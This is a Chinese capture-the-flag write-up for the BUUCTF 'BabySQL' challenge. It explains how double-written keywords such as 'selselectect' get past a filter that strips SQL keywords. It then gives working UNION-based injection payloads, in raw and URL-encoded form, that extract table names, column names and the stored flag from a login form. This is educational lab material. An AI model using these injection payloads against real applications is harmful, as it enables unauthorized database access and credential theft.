BUUCTF: [极客大挑战 2019]BabySQL

BUUCTF: 极客大挑战 2019BabySQL

本文知识点:

sql注入中的双写绕过: 很多文章只讲了双写能绕过一些场景,但是没有说为什么,我认为可能是下面这种情况可以使用,有不对的地方还请多多指教!

什么情况下需要双写绕过呢?

假如你是一个开发者,你会怎样处理非法出入呢?

  1. 对我们认为危险的关键字进行监测,比如用户传递的参数含有select的时候,直接返回,不执行数据库的查询操作
  2. 将用户输入中的危险关键字替换为空!比如将select替换为空,对应的代码就是replace('select', '')

针对第二种情况,我们就可以使用双写绕过了!!!

比如:我们传递selselectect,经过代码的替换,最终变为了我们想要的select

题目描述

题目有两个输入框,一个输入用户名,一个输入密码。以及还有一个登录按钮,如下:

初步尝试

  • 我们输入1' or 1# 尝试用or的方式使得条件总是为真,同时使用#将后续的sql语句注释掉, 结果如下:

可以看到报错中含有#号,说明其至少没有被过滤,这种情况我们可以考虑or被过滤了

  • 使用^代替or测试,可以看到成功登录了
  • 继续测试其他sql语句,发现union、*、select、from、or、where都被过滤了,以下是其中一个测试的截图:(因为我们传递的union后面没有语句了,但是返回结果却没有报错,所以我猜测他被替换为空了)

思考如何绕过

前面知识点中提到,后端的代码可能是replace('select','')这种形式,针对这种形式,我们就可以采用双写绕过!

  • 首先查询数据库中有哪些表!我们输入下面的内容, 其中**-1是为了让第一个查询失败,以回显我们需要的信息**。
bash 复制代码
-1' ^ 1 uniounionn sselectelect 1,2,(seselectlect group_concat(table_name) frfromom infoorrmation_schema.tables whewherere table_schema=database())#&password=2

注意information中的or也需要双写!后端服务器进行替换后的内容就是

bash 复制代码
-1' ^ 1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())#&password=2

成功输出了数据库中的表名,结果如下:

  • 查询数据库表中的列名 ,因为*也被过滤了,不能直接查询所有内容。使用的语句如下:
bash 复制代码
username=-1%27+^+1%20uniounionn%20sselectelect%201,2,(seselectlect%20group_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whewherere%20table_schema=database() aandnd table_name='b4bsql')%23&password=2

成功回显表b4bsql的列名

  • 查询数据的各个字段内容,这里最终测试flag是保存在password之中的!

    使用的sql语句如下:

bash 复制代码
username=-1%27+^+1%20uniounionn%20sselectelect%201,2,(seselectlect%20group_concat(passwoorrd)%20frfromom%20b4bsql)%23&password=2

​ 反馈的结果如下:

相关推荐
芯盾时代9 小时前
《金融业网络安全管理办法(征求意见稿)》全条款深度拆解(二)
安全·web安全·网络安全
web打印社区9 小时前
网页静默打印热敏小票:从 HTML 到出纸的完整指南
前端·javascript·vue.js·electron·pdf·html
剪刀石头布啊10 小时前
设计一个多计时任务的任务管理功能
前端
ModyQyW11 小时前
vite-plugin-uni-manifest 更新了什么
前端·typescript·uni-app
Asize12 小时前
AI 协作开发新范式:我用 SDD 做了个排版 npm 包
前端·人工智能
kyriewen13 小时前
我把今年流传的前端 AI 面试题整理了一遍——4 类场景题+回答框架(附速查表)
前端·面试·程序员
计算机魔术师14 小时前
国产多模态模型正面硬刚Opus旗舰:差距从30%缩到3%
前端
风骏时光牛马14 小时前
程序员进阶:深度思考,解锁职场成长的底层逻辑
前端
IT_陈寒14 小时前
用了Proxy才发现以前的JavaScript白写了
前端·人工智能·后端
爱丶不疚15 小时前
Eval: Agent 说的 Eval 是什么?从单测、TDD 到 Sentry 聊起
前端·ai编程·vibecoding